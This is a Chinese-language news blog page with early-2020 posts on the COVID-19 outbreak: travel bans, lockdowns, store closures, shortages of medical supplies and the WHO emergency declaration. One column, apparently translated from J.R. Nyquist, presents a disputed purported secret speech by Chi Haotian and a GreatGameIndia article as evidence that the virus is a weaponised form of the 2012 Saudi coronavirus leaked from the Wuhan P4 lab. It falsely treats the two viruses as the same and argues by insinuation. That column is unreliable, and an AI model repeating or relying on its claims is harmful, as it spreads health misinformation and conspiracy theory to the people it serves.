这62个国家有6个国家对中国公民采取了签证收紧措施，4个国家采取入境限制措施，5个国家对护照签发地为“湖北”及有“湖北”旅行经历的人员进行重点入境管控，47个国家则对入境的中国公民采取体温检测和健康状况申报等措施。

路透社同日说，新加坡政府1月31日宣布，2月1日开始禁止所有中国人和过去14天内去过中国的外国人入境，在新加坡中转的旅客也包括在内，但当地居民和持有有效工作许可、学生签证和长期访问许可的人除外。卫生部在一份声明中说，“有鉴于从中国大陆其它地区抵达的新旅客可能增加病毒的传播，卫生部认为此刻有必要采取额外的谨慎防范措施”。

日本首相安倍晋三1月31日召开政府会议，讨论新冠病毒时宣布，将暂时禁止过去两个星期内去过中国湖北省的外国人入境；

俄罗斯同一天发现两起新冠病毒的感染病例，两名病患都是中国公民，目前在俄罗斯远东地区被隔离。俄罗斯政府同日宣布，立即暂停所有前往中国的直航，只有俄罗斯航空公司的航班除外。中国南航、海南航空、中国国航和中国东航的班机依然可以在莫斯科国际机场降落，可需要在一个单独的航站楼停靠，以减少对其他人员的传染。俄罗斯政府已经在与中国长达4300公里的边境线上关闭了入境口岸的行人和车辆通行，但货运列车和往返于莫斯科和北京之间的客运列车依然可以越境通行。

意大利政府31日宣布，意大利和中国之间的所有航班暂时停航。在此之前，意大利报告发现两起新冠病毒的感染病例。

缅甸政府也采取措施，保护本国免受新冠病毒的侵袭。缅甸政府发言人说，中国南方航空公司一架班机31日从广州飞抵缅甸仰光机场，一名中国乘客被发现出现类似新冠病毒感染的症状，被送往仰光一家医院隔离治疗。两名缅甸人被允许下飞机，回家自动隔离14天，飞机上其余人员原机返回了广州。

2020-02-01 / by beibei / in 医疗健康, 律师/移民/金融, 新闻

防疫又出招–断网民质疑当局想进一步管控网络言论

之前，不少网友感慨中共还没有断网，可能疫情还没发展到特别严重的阶段，还有的人估测武汉很快就会断网。想不到，位于湖北省东南部，武汉城市圈重要组成部分的黄石市阳新县率先打响了“断网头炮”，官方公布强制断掉全县上网营业场所的网络。

据澎湃新闻报导，中共阳新县官方于1月29日发布的文件中规定，禁止全县所有旅游景区营业，所有公共场所包括影院、网吧等暂停营业。从29日起，切断全县互联网上网服务营业场所的网络。通知中未说明恢复时间。

断网为哪般? 武汉城市圈重要组成部分阳新县，切断互联网服务场所网络信号接入服务。 https://t.co/v3Vi5I7V70 pic.twitter.com/oUTxcK0SCa

— 邱岳首 (@7k_QYS) January 30, 2020

有网民指出：离武汉70公里，估计断网不远了。如果真的发生大屠杀，希望有人能活着把消息传出去，让世人好好认识一下这个毒瘤。

还有网民表示：相信中共应对武汉肺炎的诸种预案之一就是在某种情况下的断网。不是为了病毒，是为了维稳，为了害怕被病毒戕害的民众反抗。

现在，不少微信群因谈论相关话题被封号，也许多网民因在朋友圈中转发疫情消息被封号，甚至遭到当地警方拘留、约谈、警告等。

他妈的，我微信发布真相又被封了 pic.twitter.com/ZormzTkHEc

— Johnny (@Johnny37326555) January 27, 2020

民主自由反独裁猜测：全国范围的一级响应，各处的封城封路。海陆空的停运。给人一种假象:当某天武汉断水断电断网的时候，这千万级人口的城被消失了。消息不流通下，无人可知，这是在做最后一步的准备吗？

『起初他們燒書，後來他們開始燒人。』
中國城市開始實施斷網… https://t.co/PQwrI5NMqF pic.twitter.com/2vLTMhuX2i

— Mayol@8⃣1⃣7⃣越逆境越頑強♌ (@Mayol83085171) January 29, 2020

2020-02-01 / by beibei / in 新闻

武汉肺炎是弄巧成拙的结果解决“美国问题”怎料害了老百姓？

专栏作家J．R．奈奎斯特（J.R. Nyquist）撰文指出，大约20年前，时任中共国防部长迟浩田在一次对共产党高层干部内部秘密讲话中，曾阐述了一项确保中共生存和复兴的长期计划。

他表示，有三个关键问题必须抓住：首先是生存空间问题，因为中国人口严重过剩，环境正在恶化。因此，第二个问题是，共产党必须教育中国人民“走出去”。迟浩田的意思就是征服新的土地，在这些土地上，可以通过“殖民化”建立起“第二个中国”。但也由此产生了第三个重要问题：“美国问题”。

迟浩田当时警告说：“这听上去似乎令人震惊，但是逻辑其实很简单，”因为中共“与西方战略利益存在根本性的冲突”。因此，美国绝不会允许中共夺取其它国家来建设第二个中国。所以美国阻碍了中共的计划。

迟浩田对这个问题的解释如下：“美国会允许我们获得新的生存空间吗？首先，如果美国坚决阻止我们，我们就很难对台湾、越南、印度甚至日本做任何有意义的事情，那么我们还能得到多少生存空间呢？非常得微不足道！只有像美国、加拿大和澳大利亚这样的拥有广阔的土地的国家才能满足我们大规模殖民化的需求。”

他说：“我们不至于愚蠢到想通过核武与美国同归于尽。”“只有使用能杀死许多人的非破坏性武器，我们才能把美国留给自己。”答案就在生物武器中。他还说：“当然，我们并没有一直闲着，在过去的这些年里，我们抓住了掌握这类武器的机会。”

在中国执政的共产党认为，生物武器是实现“清理美国”这个目标的最重要武器。迟浩田认为，邓小平把生物武器放在了中共武器库中所有其他武器系统的前面，当邓小平还在的时候，党中央就做出了正确的决定：先不发展航空母舰，而是集中精力发展能够消灭敌国大量人口的致命武器。

这似乎令人感到难以置信，但迟浩田认为自己是一个“人道主义”的共产主义者，因此他承认，在这个问题上他有着复杂的个人感受：“我有时会想，中共与美国为敌是多么的残忍。”他指出，毕竟美国在第二次世界大战中帮助了中国。中国人民还记得美国反对日本帝国主义。但现在这些都不重要了。

迟浩田说：“从长远来看，中美之间的关系就是一场你死我活的斗争。”我们必须接受这种悲惨的局面。根据迟浩田的说法，“我们不能忘记，我们的历史一再告诫我们：一山容不得二虎。”

根据迟浩田的说法，中国的人口过剩和环境恶化最终将导致社会崩溃和内战。他估计，这样的社会崩溃将造成“超过8亿”中国人死亡。因此，中国共产党别无选择：要么美国被生物武器袭击而“清理干净”，要么中国遭受民族灾难。

迟浩田还提出了以下观点：“我们必须做好两手准备。如果我们的生物武器在突袭中取得成功，中国人民将能够在与美国的战斗中把损失降至最低。但是，如果袭击失败并引发美国的核报复，中国可能会遭受一场灾难，将导致超过一半的人口死亡。这就是为什么我们需要准备好大中城市的防空系统。”

在他的演讲中，迟浩田提供了一个了解中共发展战略的关键点：“我们的经济发展就是为了战争的需要而做准备！ ” 并不是为了在短期内改善中国人民的生活。这不是要建立一个以消费者为导向的资本主义社会。迟浩田表示：“我们仍然会强调以经济发展为中心，但实际上，经济发展是以战争为中心的！”

中共对生物科学的浓厚兴趣也源于此。

考虑到中共国防部长迟浩田的演讲，武汉肺炎新型冠状病毒疫情在武汉爆发，是否就是由于该市的P4病毒实验室在将致命病毒武器化过程中出现了意外所造成的呢？ (HECTOR RETAMAL/AFP via Getty Images)

病毒武器化

西方国家还没有弄清楚中共迅速运作P4微生物实验室的潜在动机，这些实验室被用来研究世界上最致命的微生物（即病原体致死性4级实验室）。现在，就在中国的中心城市武汉，在位于武汉P4病毒实验室（专门研究致命病毒的）的附近，爆发了一场快速扩散的新型冠状病毒疫情。

（译者注：1993年，中共宣布第二个设施“武汉生物制品研究所”为8个生物战（细菌战）研究设施之一。P4实验室是中国首个生物防护水平在4级的实验室。）

在发表了这个演讲后不久，2003年，也就是中国爆发萨斯病（SARS）疫情的同一年，迟浩田辞去了国防部部长的职务。（巧合的是）也是在同一年，北京决定建立武汉P4病毒实验室。考虑到迟浩田的内部演讲，这种新型冠状病毒疫情在武汉爆发，是否就是由于该市的P4病毒实验室在将致命病毒武器化过程中出现了意外所造成的呢？

有三个数据点值得考虑。首先，据《雪梨晨锋报》（Sydney Morning Herald）报导，2008年，台湾最高安全官员告诉立法者，台湾已经拥有可以将SARS病毒与中共实验室的相关研究联系起来的情报。考虑到中共的经济影响力和中文媒体的政治渗透，时任中华民国国家安全局局长的蔡朝明后来被迫收回自己的声明也就不足为奇了，因为他的声明中并没有任何“过失”的常见特征。蔡局长是否只是因为不能透露他在中国大陆的情报来源而被迫收回了这项真实的声明呢？

第二个值得考虑的数据点：《病毒学杂志》（Virology Journal）刊登了Gulfaraz Khan于2013年2月28日发表的一篇文章，概述了2012年6月在沙特阿拉伯发现的一种新型冠状病毒。是的，这是与（武汉肺炎的）同一种的冠状病毒，但有以下不同之处：在第一次发现它时，它还不能轻易地在人与人之间传播。从那时起，该病毒发生了某种变化。因此，武汉新型冠状病毒被标记为“2019-nCoV”而不是简单的 “NcoV”。就是因为后者不具有传染性，而前者正在中国迅速传播。

那么你认为在2012年到2020年间，是什么改变了该病毒的传染性呢？发生了随机突变？还是因为它被武器化了？如果目前的致命疫情爆发是发生在武汉以外的任何一个城市，我们都可能会倾向于相信它只是发生了随机突变。但是，武汉市正是中共生化细菌武器的发源地。我们应该相信这只是一个巧合吗？

第三个值得考虑的数据点是：《印度大博弈》杂志（GreatGameIndia）发表了一篇题为《冠状病毒的生物武器——中共如何从加拿大偷走冠状病毒并将其武器化》（Coronavirus Bioweapon – How China Stole Coronavirus From Canada And Weaponized It.）的文章。

作者们非常聪明地把Khan的《病毒学杂志》的文章和中国公民从位于温尼伯（Winnipeg）的加拿大（P4）国家微生物实验室（Canadian （P4） National Microbiology Lab）偷走冠状病毒的安全漏洞的消息放在了一起。据称这种新型冠状病毒和其它致命有机体一起存放在那里。去年5月，加拿大皇家骑警调查委员会被召集对此案进行调查，到7月底，中国公民被驱逐出该设施。据称，这位中国首席科学家当时正往返于温尼伯和武汉之间。

这样我们就有了一个关于冠状病毒NCoV病毒是如何传播的模糊推理结果：首先它在沙特阿拉伯被医生发现，然后在加拿大被研究，在那里它被一个中共的科学家偷走并带到了武汉的实验室……。

就像台湾情报局长在2008年作出声明后的遭遇一样，《印度大博弈》杂志的文章也受到了猛烈的攻击。无论真相如何，我们的推理中都必须要考虑到接近和不大可能发生突变的事实。

2019-nCoV 病毒极有可能就是沙特医生在2012年所发现的NCoV病毒的一个武器化版本。

我们必须对武汉的疫情进行调查。中共也必须对世界公开疫情信息和保持透明。真相必须大白于天下。如果中共官员是无辜的，他们就没有什么可隐瞒的。如果他们有罪，无疑他们将会拒绝合作。

真正令人担忧的是，世界其它各地区是否有勇气要求进行一次真正彻底的调查。在这种要求下，我们需要无所畏惧，不允许以“经济利益”为借口再玩一场遮遮掩掩、不诚实的否认游戏。我们需要诚实的调查，需要现在就开始调查。

2020-02-01 / by beibei / in GMAT/GRE, 新闻, 留学/教育/求职

苹果公司宣布关闭所有中国门店

继家居大厂IEKA、全球最大咖啡经营店星巴克后，美国科技公司苹果今天表示，将关闭所有的中国直营店和办公室。

据路透社报导，苹果发表声明说，「为谨慎行事并依据顶尖卫生专家的最新建议，我们将关闭所有设在中国大陆的办公室、直营店与客服中心，直到2月9日」。苹果公司并说，期待尽快恢复营运。

苹果本週稍早因担心病毒疫情蔓延，已关闭在中国的3家直营店。

苹果公司这是效法星巴克与麦当劳等少数外国零售业者的作法，暂时关闭门市以防范疫情。

2020-02-01 / by beibei / in 医疗健康, 新闻

明星都失业了！武汉肺炎感染人数破万中国叫停所有影视剧拍摄

武汉肺炎疫情不断上升，中共广电总局今天宣布，要求疫情防控期间，所有暂停所有影视剧拍摄工作。

据京报网报导，由中国国家广播电视总局主管的中国广播电视社会组织联合会电视製片委员会、演员委员会今天发布上述通知。

公告要求，所有影视製片公司、影视剧组及影视演员，疫情防控期间，应按照国家有关规定，暂停影视剧拍摄工作。

通知中称，在疫情期间，影视製片从业人员、影视演员有权拒绝拍摄工作，影视剧拍摄工作应待国家防疫部门宣布疫情防控解除后恢复。

报导指出，在此之前，中国最大的影视拍摄基地横店影视城已经宣布暂停相关拍摄工作。

2020-02-01 / by beibei / in 医疗健康, 新闻

港学者推算：截至1月25日武汉恐有7.5万人感染

由中国武汉爆发的2019新型冠状病毒肺炎以风卷残云之势侵袭全球。中共官方目前公布的数字已经破万，不过鉴于官方早期刻意隐瞒疫情以及任由疫情传播，外国专家估算到疫情结束会有数百万人感染。香港大学的医学团队近日推测，截至1月25日武汉就有7.5万人感染，死亡人数可能也将达到上万人。

官方香港电台今天在报导中指出，抱括港大医学院院长梁卓伟等院方的学者团队在期刊刺胳针发表文章，估算截至1月25日，武汉有7万5000多人感染新型冠状病毒，并推断病毒在大陆多个主要城市急速扩散。

文章估计，如果病毒传染能力没有减弱，武汉疫情会在4月达到顶点，重庆、北京等城市也会在随后1至2个星期进入高峰。

文章表示，如果不立即採取重大公共卫生措施，各国难以阻止本地出现疫情，因此应该考虑在受影响区域减少人口流动，比如停课及在家工作。

2020-02-01 / by beibei / in 医疗健康, 新闻

湖北黄冈封城还不够当局下令居民不能出门

武汉肺炎在去年最后一天在网络曝光后，湖北当局承认有肺炎疫情，但表示疫情可控且不会人传人，如今1个月过去了，中共官方通报的确诊数字已经破万，全球多个国家沦陷。中国湖北省的多个城市上周进行了封城措施，黄冈市也是其中之一。不过随着疫情不断扩散，黄冈当局祭出更严厉的措施，要求市民每户每两天才能派出一人负责采购生活物资，除超市商店、药店以及肺炎防疫人员，剩下的市民必须呆在家里，连门都不能出。

据黄冈市政府微信公众号发布，「关于加强市区人员出行管控工作的紧急通知」并要求市区所有党员干部、人大代表、政协委员要发挥带头作用，管好自己、家人、亲属，带动街坊邻居，协助工作人员劝导小区居民按要求少出门、少上街、不串门、不聚集。

通知规定，对拒不听从居民小区工作人员管理劝阻、聚众闹事的，公安机关要加大打击力度。凡发现党员干部、公职人员不服从管理，不听从劝阻，参与聚众闹事的，提请纪检监察机关严肃问责，同时追究其所在单位主要负责人责任。

通知并要求驻居民小区的党员干部要切实履行包保责任，按时上岗履责，主动支持配合居民小区工作人员做好人员外出管控工作。履职不到位的，严肃问责。

黄冈是中国武汉肺炎疫情排名第二的重灾区。据湖北省卫生健康委员会今天通报，截至1月31日午夜，黄冈感染新型冠状病毒肺炎的新增病例153人，确诊病例726人，累计死亡14人，人数均仅次于武汉。

2020-02-01 / by beibei / in 医疗健康, 新闻

白宫祭出严格旅游禁令禁止过去14天前往中国的外国人入境美国

武汉肺炎疫情不断蔓延引发全球关注。美国国务院昨天刚刚提升赴中国旅游警示至最高第4级“请勿前往”，今天再度宣布，要求从湖北返美公民须被强制隔离14天，过去14天曾前往中国的外籍旅客则禁止入境。

据中央社报道，被称为「武汉肺炎」的2019新型冠状病毒（2019-nCoV）疫情确诊病例逼近万人，超过200人病逝。美国境内已经发现6起确诊病例，其中包括一起人传人。

为避免疫情在美国境内扩散，美国卫生部长艾萨（Alex Azar）今天在白宫召开记者会宣布，将新型冠状病毒疫情定调为「国家公卫紧急事件」。

艾萨表示，美国总统川普已经签署一项临时命令，自2月2日下午5时起，湖北省返美的美国公民将面临最长达14天的强制隔离。从中国其他地区返美的美国公民将在入境时接受筛检，并需进行14天的自主居家隔离。

至于过去14天曾经造访中国的外国公民，除美国公民或绿卡持有人的直系血亲外，将禁止入境美国。

此外，美国所有从中国飞往美国的航班都将集中降落在旧金山、洛杉矶、西雅图、纽约甘迺迪、芝加哥、檀香山、亚特兰大7个主要国际机场，以便集中进行入境筛检。

为免武汉肺炎在美国境内蔓延，美国疾病管制暨预防中心今天宣布对甫自武汉搭乘包机返美的195名美国国务院人员与公民强制隔离筛检14天。与此同时，美国航空与达美航空、联合航空宣布暂停往返中国航班。

此外，美国航空今天宣布，自即日起至3月27日暂停往返中国航班，达美航空也将自2月6日至4月30日暂停所有飞中国航班。

联合航空随后也跟进，宣布自2月6日至3月28日全面暂停往返北京、成都与上海的航班。联航已于1月28日暂停自2月1日至2月8日往返北京、上海、香港的部分航班。

世界卫生组织（WHO）昨天宣布，被称为「武汉肺炎」的2019新型冠状病毒构成「国际关注公共卫生紧急事件」（Public Health Emergency of International Concern，PHEIC）。美国国务院随即升高赴中国旅游警示至最高第4级「请勿前往」。

2020-02-01 / by beibei / in 医疗健康, 律师/移民/金融, 新闻

双黄连能治肺炎？官媒又放不实消息引大陆民众疯抢

武汉肺炎在中国大陆和海外不断蔓延，引发各国高度戒备。中共官媒新华社近日声称双黄连口服液对抑制新型冠状病毒肺炎有效，引发大陆民众疯狂抢购。不过官方机构却不愿证实官媒的说法，仅说尚未详细研究。

新型冠状病毒引起的肺炎（武汉肺炎）在中国民间引起恐慌。官媒新华社旗下微博帐号「新华视点」1月31日晚间发布消息称「上海药物所等机构初步发现中成药双黄连口服液可抑制新型冠状病毒」，并称目前双黄连口服液已在上海公共卫生临床中心、华中科技大学附属同济医院展开临床研究。

消息一出引发中国社会广泛关注，并长时间占据中国社交媒体微博热搜榜第一名；双黄连口服液也在一夜间成为抢手货。

中国证券报旗下新媒体平台「e公司」报导，可抑制新型冠状病毒的消息随后导致网上各种品牌的双黄连口服液被抢购一空。

生产该药的厂商太龙药业相关负责人表示，得知双黄连可抑制新型冠状病毒的消息后，儘管公司提前结束春节放假并恢复生产，但未来公司方面还将讨论是否进一步增加生产。

不过，中国医学健康与医疗健康服务平台「丁香医生」今天凌晨发表文章质疑，要证明一种药物真实有效，至少需要动物实验、一期临床试验、二期临床试验以及三期临床试验这4个步骤，而相关报导中并未明确说明实验究竟进行到了哪一步。

而另一家官媒中新社旗下微博帐号「国是直通车」也採访了新华视点提到的「上海药物所」。报导引述所内相关人士表示，双黄连口服液对新型冠状病毒的抑制作用是「初步发现」，目前还没有较为详细的研究，因此不能过分著重该说法的准确性，「科学的事情，我们不想说得太过」。

当被问到「民众是否有必要抢购双黄连」以及「临床试验前期是否有相关试验数据」时，该人士则未予以回应。

2020-02-01 / by beibei / in 医疗健康, 新闻

军队进驻武汉肺炎防疫一线防护物资奇缺形势严峻

近日，习近平一周内对中共军队做出多次指示，派遣军队进驻武汉肺炎防疫一线。但现在中共各地部队所面临的状况是，口罩等防护物资奇缺，隔离执行不彻底，军方防疫形势严峻。

武汉新型冠状病毒肺炎疫情爆发以来，有消息指，一名属于湖北孝感市的中共空军降兵军保障部的军官1月25日确诊新型肺炎，200名现役军人被隔离。而中共军方状况属于机密消息。

据《苹果日报》报导，中国大陆武汉肺炎疫情严峻，习近平一周内至少4次发表讲话，并指示中共军队支援地方防控疫情。有消息人士指，军队在24日起抽取海、陆、空的医疗队入城。报导猜测，军队被调派一线，将需要大量设备物资。早前武汉囤积的物资等或是预留军用。

习近平对中共军队做出指示，派遣其进驻武汉肺炎防疫一线。现状是，口罩等防护物资奇缺，隔离执行不彻底，军方防疫形势严峻。（示意图来源：Betsy Joles/Getty Images）

习近平对中共军队做出指示，派遣其进驻武汉肺炎防疫一线。现在状况是，军队口罩等防护物资奇缺，隔离执行不彻底，防疫形势严峻。（示意图来源：Betsy Joles/Getty Images）

网上也盛传政府花700亿元派防化部队进驻武汉，不过暂未见官方媒体报导。

据港媒《信报》报导，有消息透露，中共各地部队口罩等防护物资奇缺，隔离执行不彻底，军方防疫形势严峻。

日前，拥有数十万粉丝的军事类微信公众号“新绿网”引述地方部队消息称，由于事发突然，很多单位对此都估量不足，加上集中采购需要一定程序，造成有些部队官兵防护器材，特别是口罩出现较大短缺。

据一些兵员反映，很多人只获发两三个口罩，营门卫兵、采购员等一些使用较频繁的人员，口罩鼻圈位置都是黑的，实际防护效用大打折扣；一些小单位欠缺测温仪等必要设备。

在隔离措施方面，部队营区居处相对集中，本身能够用作隔离的场所很少，再加上初期有“未发现人传人”的误导，致部分单位在发现隐患时，就已经陷入被动。

一些官兵在疫情爆发后被提前结束休假召回，有的也未隔离；个别部队家属区并没有进行有效隔离。“一旦部队家属院当中有人携带病毒，后果是极为可怕的。”

新绿网提到，军队如何防止疫情在人员高度集中、密集接触的情况下传播，困难度不比打仗小。

2020-01-31 / by beibei / in 新闻

医护人员几近崩溃一夜接诊200病人、收尸、被感染、穿雨衣上阵

这次在中国爆发的新型冠状病毒肺炎疫情已夺走许多人的生命，不少坚守在抗疫一线的医护人员纷纷表示超负荷的工作，身心俱疲，几近崩溃。

湖北省武汉市是本次疫情的重灾区，医院的医务人员的状况并不乐观。据《新京报》报导，王阳（化名）所任职的医院在1月22日被指定为发热患者定点收治医院，她的科室被改造成输液室，她也从当天晚上7点开始，连续接诊200个输液和留院观察的病人，一路忙到隔天早上8点才得以休息。

整间医院被求诊的病人塞爆，四处都是污染区，没有干净的地方，但医护人员还是只能穿着普通的袍子，戴一次性外科口罩、帽子及手套照顾病患，每个人都忙不过来。当天夜晚，王阳突然开始头痛、喉咙痛，隔天还出现发热症状，之后的几天都持续发高烧，最后被确诊肺部感染，只能在家休养，“我们每个科室基本上都管了病毒肺的病人，所以医护人员有一大批都被感染。”

湖北省武汉市是这次武汉肺炎的重灾区，一线医护在身心上都承受巨大压力。武汉一名女医生一晚曾接诊200名病人，甚至还要收尸。（图片来源：Getty Images)）

王阳表示，医院床位不够、设备缺少、防护不足，更严重的人手严重短缺，除了清洁工自行停工以外，医生、护士得面对去世的病人。另外，前线医护工作的最大问题是处理尸体，以前医护只要把医疗仪器收走，殡仪馆便会在2小时内派人收尸。但疫情爆发后，殡仪馆要求医院先处理尸体，医护要向尸体喷洒消毒酒精，并把酒精绵球、纱布塞进死者的口中、耳朵、肛门及其他腔道，用裹尸布把尸体包两层，然后通知殡仪馆。

王阳说：“如果那天没有男医生的话，几个女医生根本都抬不动尸体，而且连死者家属都不愿意，也不敢帮忙”，这让医护人员身心压力都非常大，心理防线几乎都崩溃了。

有网友表示，武汉医院情况还是很糟糕，超市里的新鲜蔬果不可能超过1小时就空了，医院也不好，有医生顶着吊销执照辞职，护士的压力最大，很多医生能不进污染区就不进污染区，让护士进去操作，他们遥控指挥，恐怕治疗效果好不起来，医护的压力现在超级大，防护装备依然非常紧张。

推特网友发帖：没有防护服的余姚医院的医生只能穿雨衣上阵。他们在网上向社会发出紧急求助。 “已经绝望，希望爱心捐助直接送到医院，不要经过他们的黑手！”

没有防护服的余姚医院的医生只能穿雨衣上阵。
他们在网上向社会发出紧急求助。
“已经绝望，
希望爱心捐助直接送到医院，
不要经过他们的黑手！” #武汉肺炎 #唯真不破 pic.twitter.com/DQ2zhIzdIj

— 唯真不破 (@pEkzgoXMvXPPPgB) January 29, 2020

2020-01-31 / by beibei / in 新闻

武汉肺炎疫情居高不下港府面临全面封关压力

由湖北省武汉市爆发的武汉肺炎迅速蔓延至港澳台及其他地区和国家，已经由12例确诊病例的香港30日封闭了除罗湖和落马洲的全部通关口岸，西九龙高铁也叫停，不过社会要求港府全面封关的压力依然很大。

香港至今累计有12宗武汉新型肺炎确诊个案，但病患大都来自中国大陆或港人在大陆感染，属于输入性感染，并非在本土传播。

疫症爆发以来，港府已採取多项措施防范疫情在本地传播，包括关闭了6个连接大陆的口岸，又获得北京中央配合，停发来港自由行及团体游签注，令访港陆客大减。

不过，港府在防治上仍面对坊间压力，包括有前线医护人员要求政府全面封关，即关闭香港的对外接触，停止一切人流与物流往来。

据报导，至今有1100名医护人员联署响应封关诉求并向政府发出公开信，表示如果政府不答应诉求，不排除发起罢工行动。

对于全面封关要求，港府至今认为不可行，因为一旦全面封关，就连在大陆的港人也不能入境。此外，全面封关的话，也会造成物流上的中断，对港不利，甚至带来更大恐慌。

也有报章指出，如果全面封关只针对中国大陆，也有歧视问题。

除了应否全面封关争议外，港府也面对防疫口罩严足短缺的问题，日来不少市民通宵排队抢购口罩，但仍然是一罩难求，坊间怨声载道，批评政府协助不力。

对于民众的责难，政务司司长张建宗昨天回应说，政府已致力在全球採购，本月至今已在全球採购了500万个口罩，以及促成800万个口罩从大陆运至香港供零售店销售。

他说，未来将会有2400万个口罩分批运扺香港供零售店销售。

不过，泛民主派的民主党和亲政府的民主建港协进联盟今天同时请愿，要求政府确保有足够口罩供应。

2020-01-31 / by beibei / in 医疗健康, 律师/移民/金融, 新闻

疫情扩散保命要紧湖北口罩大厂开出每天870元薪水工人仍不愿复工

武汉肺炎爆发，中国医疗资源严重不足。多地医院医用防护服和防护口罩供应不足，有的医生只能带着游泳眼睛上班。而在中国口罩产能最大的湖北省，生产商开出5倍工资让人复工还是很多人怕被传染不敢前往。一家口罩厂商表示，他开出日薪870元人民币的价格仍无法调动工人开工。

中国是全球医疗物资最大生产国，但综合21世纪经济、第一财经等陆媒报导，在疫情蔓延下，中国医院的防护物资紧缺问题逐渐浮出水面。在重灾区湖北省，多家医院对外发布求助资讯募集医疗物资。

武汉协和医院医师昨天表示，该院医疗物资即将全部用尽；一名护士说，主任医师因为没有护目镜，还戴著游泳用的蛙镜查房。

报导引述广东省工信厅厅长涂高坤指出，由于此次疫情适逢春节假期，很多工厂已经放假，口罩、防护服的需求量极短时间内急遽增加。而这些特殊物资，平常用量不大，且都有储存有效期，企业和医疗机构的储备量有限，造成近期全国都非常紧缺。

由于生产不同类型的口罩需要不同原料，口罩生产商大多是按照客户订单进行生产的，一般不会大量囤积原料和成品货物。熔喷过滤布是口罩隔离和过滤的主要材料，需要特殊製作工艺。但是生产熔喷过滤布的上游商家大多数仍处于休假期间，许多口罩商无法及时获得原料进行生产。

此外，製药、医疗器材以及生产消毒水的企业也都反映原料短缺问题，导致生产困难。

中国工信部副部长王江平日前表示，武汉向工信部发出的需求清单中，每天需要的医用防护服是10万套，一个月就需要300万套。

但报导指出，医用防护服一般只用于ICU（加护病房）或者特殊科室，医院只会少量储存。而中国生产防护衣企业分布在14个省，只有40家，每天产能3万套。按此推算，产能远未达到武汉的需求。

其次，疫情在春节期间的突然爆发，造成工厂在召集休假工人存在困难。

据报导，这次受疫情影响最严重的湖北就是中国重要的口罩生产地。但湖北仙桃地区的口罩生产商表示，由于工人也害怕被传染，因此即使提高薪水至每天870元，工人复工意愿依然不高。

报导引述淮安利尔康医药科技有限公司负责人赵龙梅表示，「目前人手不够，因为全国物资都严重缺乏，我们工人已经全部提前结束休假回来了，公司开出了五倍工资」。

此外，面对疫情，部分省市相继展开交通管制，关闭部分高速公路收费站，这也对生产医疗物资的原料运输造成困扰。

报导引述山东消博士消毒科技股份有限公司工作人员指出，由于封路、高速公路的交通管制，现在生产所需要的原料供应不上，也导致产能上不去。「以前高速半天就能到的，现在一天半都到不了」。

她表示，因为是应对疫情所需要的产品，他们都有相关证明。但有时候大半夜还要进行协调，给高速公路上的交警打电话，而且不时出现打不通电话、不看证明的情况。

报导并指出，湖北多地进行人员流动管控、全国多地进行省际交通管制，对物资运输也在一定程度上造成了困难。广东一家为武汉赶製防护服的企业表示，由于目前疫情严重，愿意去武汉的司机非常少。

另外，疫情发生后，许多医疗物资工厂都被当地政府统一徵用和调度，反而造成最紧缺的地区调用医疗物资困难。

报导引述江苏永宁医疗器械有限公司相关负责人指出，「打电话来要口罩的客户特别多，70%、80%都是老客户，包括医院供应商和药店。但是我们响应政府，没办法供给这些客户」。

2020-01-31 / by beibei / in 医疗健康, 新闻

美国传世名曲《寂静之声》改编成抗击武汉肺炎疫情歌曲一夜间在全球走红

美国电影《毕业生》象征着一个时代的标志，《毕业生》中的主题曲《Sound of Silence》（寂静之声）也被广为传唱。近日，该曲子被填成与武汉肺炎有关的歌词，用来抗击全球武汉肺炎疫情。该词押韵朗朗上口，刚一上线便在各大社交媒体热传。

据中央社报道，「哈喽黑暗！我的老友，我又来看你了」是西洋经典歌曲「沉默之声」（Sound of Silence）的头两句歌词，经一位新加坡华人改编后，歌词成了「哈喽，来自武汉的病毒，问题又来了」。

这首赶搭武汉肺炎新闻列车的改编曲，一夜之间成了网路世界最新疯传的贴文之一。

在新加坡音乐界推广海峡华人音乐与文化的Alvin Oon昨天在脸书上推出这首改编曲，用的是1965年「沉默之声」的曲调，并且仿照原唱者赛门与葛芬柯（Paul Simon & Art Garfunkel）的合声，部分歌词和格律跟原曲相同，例如「（我看见）一万人或更多」（Ten thousand people, maybe more）。

不过，改编曲主要是说人们对严重急性呼吸道症候群（SARS）记忆犹新，如今又出现武汉肺炎疫情，病毒来势汹汹，在全球各地散播；歌词提醒民众如何做好个人防疫，并呼吁大家共同努力防堵病毒。

Alvin Oon今早在脸书上说，这首改编曲推出之后，在24小时之内传遍亚洲，包括泰国和菲律宾等国家，香港和印度媒体准备报导此事，在中国则有许多民众利用微博分享。他希望在受到疫情影响的国家，这首歌能给民众带来欢乐、希望与鼓励。

他也希望这首改编曲能成为全球抗疫歌曲。

多人在脸书上分享这首改编曲之后，又有许多脸友转贴，例如有「香江第一才子」称号的陶杰在分享时说，「在家避疫，不妨欣赏外国势力如何就中国武汉瘟疫散播世界，改编名曲填词娱乐」。他的分享有2800多次转贴。

2020-01-31 / by beibei / in 医疗健康, 新闻, 求职, 留学/教育/求职

武汉肺炎形势严峻世卫将其定为国际突发公共卫生事件

在中国官方宣称武汉肺炎即将有近万人感染，造成200多人死亡之际，世界卫生组织（WTO）终于姗姗来迟将由湖北省武汉市爆发的2019新型冠状病毒肺炎定为国际关注的突发公共卫生事件（PHEIC）。世界卫生组织认为，目前在中国以外的国家和地区确诊病例增加，是做出这一宣布的主要原因。

国际关注的突发公共卫生事件（Public Health Emergency of International Concern ，PHEIC），是指按特殊程序确定的不寻常公共卫生事件，包括以下两个特点：

通过疾病的国际传播构成对其他国家公共卫生风险；以及
有可能需要采取协调一致的国际应对措施
而是否构成国际关注的突发公共卫生事件所依据的标准是：

对公共卫生影响的严重性；
事件性质的突发、不寻常或意外；
事件有可能在国际间传播；
事件有可能引致限制旅行或贸易的危险。
可能采取什么措施？
世界卫生组织一旦确定某个特定事件构成国际关注的突发公共卫生事件，则根据于2005年各成员国协商达成的约定——《国际卫生条例》，必须对这一事件立刻做出反应。

根据对每个突发事件的具体细节，世卫组织总干事将建议受影响的缔约国及其他缔约国应该采取的措施，其中可能包括：

采取有一定时间限制、影响国际旅行和贸易的措施；
采取影响旅行的措施，以避免疾病的国际传播；
可能要求旅行者出示健康信息、基本检查结果和疫苗接种文件；
对国际交通工具及机场、港口和陆地过境点采取常规公共卫生措施；

世卫的决定在很大程度上将促使世界各国拨出额外的经费和资源，掌控和遏止病毒的蔓延。

本次，世界卫生组织对中国、所有国家和全世界都提出了建议，其中包括：

